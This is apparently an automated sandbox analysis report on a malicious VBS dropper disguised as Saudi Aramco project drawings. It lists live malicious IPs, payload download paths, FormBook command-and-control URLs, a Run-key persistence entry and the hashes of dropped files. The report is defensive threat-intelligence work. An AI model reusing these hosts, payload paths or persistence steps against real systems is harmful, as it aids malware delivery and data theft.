                        http://212.192.219.52/Untitled2.wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://212.192.219.52nwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		low
                        http://212.192.219.52/Untitwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://212.192.219.52powershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://212.192.219.52/Unwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        https://contoso.com/powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://nuget.org/nuget.exepowershell.exe, 00000003.00000002.409737555.000001F420C9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.392119830.000001F410CF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.409737555.000001F420B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://212.192.Twscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://212.192.219.52/Untitlwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://212.192.21twscript.exe, 00000000.00000002.384257533.000002748E837000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383504994.000002748E837000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383483963.000002748E836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383196034.000002748E836000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		low
                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000003.00000002.392119830.000001F410AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.488364738.000001FFC1421000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://212.192.219.52/Untitledwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                            • Avira URL Cloud: safe
                            		unknown
                            http://script.dopus.net/swscript.exe, 00000000.00000003.381633221.000002748E803000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://nuget.org/NuGet.exepowershell.exe, 00000003.00000002.409737555.000001F420C9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.392119830.000001F410CF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.409737555.000001F420B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://212.192.219.wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: safe
                              		low
                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000008.00000002.488364738.000001FFC17DB000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://212.192.21wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: safe
                                  		low
                                  http://212.192.219.52/Untitle4wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://contoso.com/Iconpowershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://212.192.2wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: safe
                                  		low
                                  http://212.192.219.52/Gwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://github.com/Pester/Pesterpowershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://212.1wscript.exe, 00000000.00000003.383410316.000002748CAEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383225286.000002748CAEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383083306.000002748CAE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.384164782.000002748CAEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383158552.000002748CAEA000.00000004.00000020.00020000.00000000.sdmptrue
                                    • Avira URL Cloud: safe
                                    		low
                                    http://212.192.219.52/Uwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://212.192.219.52/Untwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://212.192zwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		low
                                    http://crl.microsofpowershell.exe, 00000008.00000003.473426642.000001FFD9623000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000008.00000002.488364738.000001FFC17DB000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://212.192.219.52/Untitled2wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://212.192.219.52/Untiwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://script.dopus.net/wscript.exe, 00000000.00000003.381729278.000002748E820000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://212.192.219.52/Untitled2.bwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://212.192.219.5wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://212.192.219wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: safe
                                      		low

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      45.221.114.42
                                      		www.jshjyz.comSouth Africa
                                      		328543sun-asnSCtrue
                                      8.217.57.91
                                      		www.u1uc86.shopSingapore
                                      		45102CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdCtrue
                                      134.73.114.39
                                      		www.eunicebarber.comUnited States
                                      		46573LAYER-HOSTUStrue
                                      212.192.219.52
                                      		unknownRussian Federation
                                      		8663KUBANNETRUtrue
                                      91.195.240.68
                                      		www.blackhawkstickets.comGermany
                                      		47846SEDO-ASDEtrue
                                      156.237.252.50
                                      		www.moqainc.comSeychelles
                                      		134548DXTL-HKDXTLTseungKwanOServiceHKtrue

                                      General Information

                                      Joe Sandbox Version:38.0.0 Beryl
                                      Analysis ID:1278132
                                      Start date and time:2023-07-24 10:28:05 +02:00
                                      Joe Sandbox Product:CloudBasic
                                      Overall analysis duration:0h 15m 17s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                      Number of analysed new started processes analysed:23
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:2
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • HDC enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Analysis stop reason:Timeout
                                      Sample file name:PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs
                                      Detection:MAL
                                      Classification:mal100.troj.spyw.evad.winVBS@25/11@9/6
                                      EGA Information:
                                      • Successful, ratio: 66.7%
                                      HDC Information:
                                      • Successful, ratio: 72.1% (good quality ratio 65.6%)
                                      • Quality average: 71.9%
                                      • Quality standard deviation: 32.4%
                                      HCA Information:
                                      • Successful, ratio: 99%
                                      • Number of executed functions: 41
                                      • Number of non-executed functions: 148
                                      Cookbook Comments:
                                      • Found application associated with file extension: .vbs
                                      • Override analysis time to 240s for JS/VBS files not yet terminated

                                      Warnings

                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
                                      • Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
                                      • Execution Graph export aborted for target powershell.exe, PID 5780 because it is empty
                                      • Not all processes where analyzed, report is missing behavior information
                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                      • Report size getting too big, too many NtSetInformationFile calls found.

                                      Simulations

                                      Behavior and APIs

                                      TimeTypeDescription
                                      10:29:01API Interceptor56x Sleep call for process: powershell.exe modified
                                      10:29:58API Interceptor1x Sleep call for process: ServiceHub.exe modified
                                      10:30:04AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ServiceHub C:\Users\user\Documents\ServiceHub.pif
                                      10:30:12AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ServiceHub C:\Users\user\Documents\ServiceHub.pif
                                      10:30:53API Interceptor2x Sleep call for process: ServiceHub.pif modified
                                      10:31:52API Interceptor514x Sleep call for process: explorer.exe modified

                                      Joe Sandbox View / Context

                                      IPs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      212.192.219.5214930.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 212.192.219.52/bpyOoNJzrmGRarlGgHCikM104.bin
                                      Aresphe_-_RFQ20230620-Bill_of_Quantity.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                      • 212.192.219.52/zUbreZrSBcp133.bin
                                      91.195.240.68kpb.htaGet hashmaliciousFormBookBrowse
                                      • www.blackhawkstickets.com/8mwu/?U_gQdvo=X/fnw5am/BzAMhSx5cV1OS+bAAXbB4mQCNaMIjdHHt4PXjBJVwOoD1JmTetHK9RF+/dP6QuPyih5/e2DwHGE2VZtj5iTNETaWg==&cK=wYnGivnL_Ek
                                      NEWORDER.EXE.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • www.dp-perfumum.com/2huh/?5b=0scYeFxdHi9EPg5WRa8OV6PYznClPDbTjbDcKJTmqwBivxHCWuk06wB4IFuiGhK3XB8UTmGRUn7L2xRm+NWX/ZG4Ah4WEkPRYg==&sRp=8ostyhaqpOrps
                                      HXM030#U007e0.EXE.exeGet hashmaliciousFormBookBrowse
                                      • www.coolimages.biz/rs11/?7nDd=buVkvKpoXXNC8b3W+dc0Nm+y+6o2cjpGpZVRou+hC+nBsu0LbwbNpqSCpYWkduV+EQ8+&IDKd=E6zpM0LH3hz0z
                                      SHIPPI#U007e0.EXE.exeGet hashmaliciousFormBookBrowse
                                      • www.coolimages.biz/rs11/?0hiDW=buVkvKpoXXNC8b3W+dc0Nm+y+6o2cjpGpZVRou+hC+nBsu0LbwbNpqSCpb6nBeZGJxBo0jKj+w==&gRBHS=Q4dLWH
                                      Product Drawings&Lists_pdf_.exeGet hashmaliciousFormBookBrowse
                                      • www.lushcocktailbar.com/eo28/?g2J=6litXRUhdFH8hNPp&Y48dx6D=yndJEAws4U3HULR4gY7qfWa+vQNOM93jVilbP+59oSjk8loUBtKA4ocXrH74hNer5MUOXN7S0jltqi/PyJvrmqIpgNr7CfHCbw==
                                      puSCbcoLAX.exeGet hashmaliciousFormBookBrowse
                                      • www.usnewscars.com/5sre/?dFNhWl=xpixevv&6l=AhrRlyZC/GqC301Mb6oXQc3Rf9C6cWkiLTXBc0TE0ND6MZmD38JBpQinpScEr1lqS83vqDMRY135VcQRAUDYoYXkggsQIje/Y+8gMTRPRs4N
                                      case_documents_invoice.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • www.lamasatjouri.com/q40s/?TPL=O0Ddbh5pUz5peZu0&Tfl0drG8=KgILUahxVgbiKWkD2SjqhLLI6qsJ9iTYsW/3VznLRg8S4lEGNsmAeuGtUgT6tZ9LtkERYGnxTwQ3mjX7l5nicXZs+1IjiRmsfg==
                                      RFQ 010844.exeGet hashmaliciousFormBookBrowse
                                      • www.vennalasoftwaresolutions.com/bt30/?8pQ0sB=4h08llBhUhd&t48p=1w5oEZOJ8vd4Ywjz0Gy6SxwTH4qTfEBdjPv+yVk3hNIjdMI/3uATJhkYTmrgh5HCNtNT
                                      Invoice SIL-EDI-0-2022-392.exeGet hashmaliciousFormBookBrowse
                                      • www.tshcollege.com/fn9h/?mB=UrZhK6&u2M=ZXQxNqMppW7uDJ886qkr6/T9FNiFhX0/ZDQRvHpOY5xlYK5jChNMtqSczNMbfE8PNhaucwXifo4McpB3GBx9xOD/spOTY3B8Qw==
                                      list049.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • www.fleurdeleach1.com/jrut/?8pCXLb=rEwrycf57MDhcfZQUFaXrEQIsXTvEHsyOUypYBgD3LLCdLBQHzd/Xtvc4UDe/Qs6iXFYRZopodFpNGxmS52IrNg76WWKuyW9/A==&5jnp5v=aL0TWxzxGf
                                      product_list_95849.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • www.fleurdeleach1.com/jrut/?fBL42jSX=rEwrycf57MDhcfZQUFaXrEQIsXTvEHsyOUypYBgD3LLCdLBQHzd/Xtvc4UDe/Qs6iXFYRZopodFpNGxmS52IrNg76WWKuyW9/A==&ERqXj=D48hW0
                                      wTgrYlF8ou7IzBH.exeGet hashmaliciousFormBookBrowse
                                      • www.huntunitedbasketball.com/pqn5/?s4gDkj=5jUtx2C8g4&VBiXh07p=flIHr+AsnMHqVZjLQK6d72FwuMrFXbf/PE5TestVasMPdGPbBZwmylCOEhzUtmdhzEycnnsO4Q==
                                      order P47 0082005924.xlsxGet hashmaliciousFormBookBrowse
                                      • www.windowcontractor.info/itq4/?zlS0mXK=WWvt1jM/oCdo6zrR9nVQb8KUu8YKxDEWRuV5PNxMPSUlaaa1geuN+g0SxrdW90jXgc6SEw==&Sr=f2Jd1rT0Yx
                                      cvw2311.exeGet hashmaliciousFormBookBrowse
                                      • www.fratello-ristorante.com/s1k3/?X67l748=pjylTcV+q+aCIo2+YOesXBQXPbPX5b2QIUTKyCC8Lu+Fivlxr+9eAy2V6tbveEcFkImD&zZ_pW=_T3XfZSP12aLVd
                                      SlT12nro4q.exeGet hashmaliciousFormBookBrowse
                                      • www.flamingorattan.com/w6ot/?8pTHo=uBqWhOSvIv4GB+f7RHdT4usG+L6atqZVfILSwK/jW/g2W6WhMgSNXBEPz8Cie18+uv46EtcINQ==&E2Jtj=9rZl9DW0
                                      23.03.2022.xlsxGet hashmaliciousFormBookBrowse
                                      • www.flamingorattan.com/w6ot/?zdCpK=eL3dDtpHl&wJBx=uBqWhOSqIo4CBuT3THdT4usG+L6atqZVfITCsJjiSfg3WL6nLwDBBF8NwaCkGUk2iZMbdQ==
                                      HeVSsGiXDB.exeGet hashmaliciousFormBookBrowse
                                      • www.roofrepairnow.info/dgrg/?-ZbXp8YH=1KkGW8+xvcXkNX4RyqpieXIJlQThKPdcWusJdvxld2dv1AUEsuv16uoqVTnebEC7ZMyWc0I3hA==&d0G=_xopsbb8K6
                                      INV21029.EXEGet hashmaliciousFormBookBrowse
                                      • www.roofrepairnow.info/ahc8/?v2Jl2=iL3HqLep9H1lr&a0Gdib=oFKfLk7DdL4IXMmlNBgNrzd0nrLjV/RQErgfQPYnQJp+nWaQ5T+/Znzx6jT+bILKvG7/
                                      MRT-Order_001250222.exeGet hashmaliciousFormBookBrowse
                                      • www.roofrepairnow.info/dgrg/?9rW=8pZpb&2d=1KkGW8+xvcXkNX4RyqpieXIJlQThKPdcWusJdvxld2dv1AUEsuv16uoqVQL3YE+DQvHA
                                      SC221420.EXEGet hashmaliciousFormBookBrowse
                                      • www.roofrepairnow.info/ahc8/?m6Ah=oFKfLk7DdL4IXMmlNBgNrzd0nrLjV/RQErgfQPYnQJp+nWaQ5T+/Znzx6jT+bILKvG7/&i8e=llPHs

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      www.blackhawkstickets.comkpb.htaGet hashmaliciousFormBookBrowse
                                      • 91.195.240.68
                                      www.moqainc.comTransferencia.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 156.237.252.50
                                      Transferencia.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 156.237.252.50

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      sun-asnSC2022-571-GLS.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.114.43
                                      Swift.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.114.43
                                      202217110313.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.114.43
                                      bk.mpsl-20220930-0404.elfGet hashmaliciousMiraiBrowse
                                      • 102.134.57.97
                                      v22-003920.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 45.221.109.201
                                      EtAT4sBTxbGet hashmaliciousMiraiBrowse
                                      • 45.221.118.202
                                      arm-20220318-0536Get hashmaliciousMirai MoobotBrowse
                                      • 45.221.118.204
                                      Payment Copy.exeGet hashmaliciousFormBookBrowse
                                      • 102.134.51.19
                                      Hilix.armGet hashmaliciousMiraiBrowse
                                      • 45.221.118.207
                                      Yeni sat#U0131n alma sipari#U015fi.exeGet hashmaliciousUnknownBrowse
                                      • 63.215.181.150
                                      u9Bt1oWLEW.exeGet hashmaliciousFormBookBrowse
                                      • 63.215.181.213
                                      ORDER -ASLF1SR00116-PDF.docGet hashmaliciousFormBookBrowse
                                      • 63.215.181.105
                                      LEMOH.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.113.101
                                      Taisier Med Surgical Sutures.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.113.101
                                      HEN.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.113.101
                                      DHL4198278Err-PDF.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.98.240
                                      813541fc_by_Libranalysis.exeGet hashmaliciousFormBookBrowse
                                      • 45.221.98.205
                                      PURCHASE ORDER.exeGet hashmaliciousFormBookBrowse
                                      • 102.134.56.242
                                      PO.exeGet hashmaliciousFormBookBrowse
                                      • 102.134.56.237
                                      Updated SOA.xlsxGet hashmaliciousFormBookBrowse
                                      • 102.134.56.243

                                      JA3 Fingerprints

                                      ⊘No context

                                      Dropped Files

                                      ⊘No context

                                      Created / dropped Files

                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ServiceHub.exe.log

                                      Download File
                                      Process:C:\Users\user\AppData\Roaming\ServiceHub.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):1308
                                      Entropy (8bit):5.345811588615766
                                      Encrypted:false
                                      SSDEEP:24:ML9E4Ks29E4Kx1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84FsXE8:MxHKX9HKx1qHiYHKhQnoPtHoxHhAHKzu
                                      MD5:36C0A7F32E757FCBECED4EB6FC3C922C
                                      SHA1:939BED45186769E4D878B9A44420CE140445F2CB
                                      SHA-256:C85B76D06B14DE0D203F30A03BA1D26F17BA9970FE8491AB00A1ED1C0DEC9989
                                      SHA-512:F0C308E83AE3FB61E9A7AA68E2CA54D9D48027DF1E8D8092C1FA61600555005675063F377C50572C34A39E8CC77FC044EAF2BC31D5C08DC46446C38F4433DF18
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ServiceHub.pif.log

                                      Download File
                                      Process:C:\Users\user\Documents\ServiceHub.pif
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):1308
                                      Entropy (8bit):5.345811588615766
                                      Encrypted:false
                                      SSDEEP:24:ML9E4Ks29E4Kx1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84FsXE8:MxHKX9HKx1qHiYHKhQnoPtHoxHhAHKzu
                                      MD5:36C0A7F32E757FCBECED4EB6FC3C922C
                                      SHA1:939BED45186769E4D878B9A44420CE140445F2CB
                                      SHA-256:C85B76D06B14DE0D203F30A03BA1D26F17BA9970FE8491AB00A1ED1C0DEC9989
                                      SHA-512:F0C308E83AE3FB61E9A7AA68E2CA54D9D48027DF1E8D8092C1FA61600555005675063F377C50572C34A39E8CC77FC044EAF2BC31D5C08DC46446C38F4433DF18
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):18817
                                      Entropy (8bit):5.001217266823362
                                      Encrypted:false
                                      SSDEEP:384:ufib4GGVoGIpN6KQkj2Akjh4iUxGzCdaOdB/NXp5CvOjJEYoV4fib41:uIGV3IpNBQkj25h4iUxGzCdaOdB/NZwY
                                      MD5:DB93B232EFF0785FDDC28A0D5DAE38D2
                                      SHA1:AF5AFE47557C49F165F66B2B63962D9EB28E3157
                                      SHA-256:92939214003421B64153B215D15F89595673C709110FC6E005FF955F6684C390
                                      SHA-512:5D161CFEE2631553AC2FA8EE407FE4CBA23C9A666BB69049C0FCCBEE99413983C678E4779426532FB4F5E622155C9EFF8DA57CD93AE4453D57301B32C19CBAA9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1352
                                      Entropy (8bit):5.343627772828615
                                      Encrypted:false
                                      SSDEEP:24:3KmPpQrLAo4KAxX5qRPD422ogAZe9t4CvKuKnKJRSF8P6j1Urz62:nPerB4nqRL/3gqe9t4Cv94aR48qUa2
                                      MD5:2D2BCD509B42835628643C80101A9C86
                                      SHA1:DEC43917B24D109C2BC7ABA5A992E79E1C6CE9CA
                                      SHA-256:6AE6CA216F1FCF36FF5C7E9898FA9DBD182D26802FCB7DC34F06342A3074F247
                                      SHA-512:AB03866C22FE7AC59403F7C7D229EEC1DCB9536427BA6E06C3D73CE75F7986D7FACC9685D992900444799D3583BD2A583F4C1B4669C92E56FE769DA2FBDC6705
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:@...e.................................i.........................8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...4...............T..'Z..N..Nvj.G.........System.Data.@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

                                      C:\Users\user\AppData\Local\Temp\T84G5K4X6

                                      Download File
                                      Process:C:\Windows\SysWOW64\msiexec.exe
                                      File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
                                      Category:dropped
                                      Size (bytes):94208
                                      Entropy (8bit):1.287139506398081
                                      Encrypted:false
                                      SSDEEP:192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
                                      MD5:292F98D765C8712910776C89ADDE2311
                                      SHA1:E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
                                      SHA-256:9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
                                      SHA-512:205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfsbtsqd.lto.ps1

                                      Download File
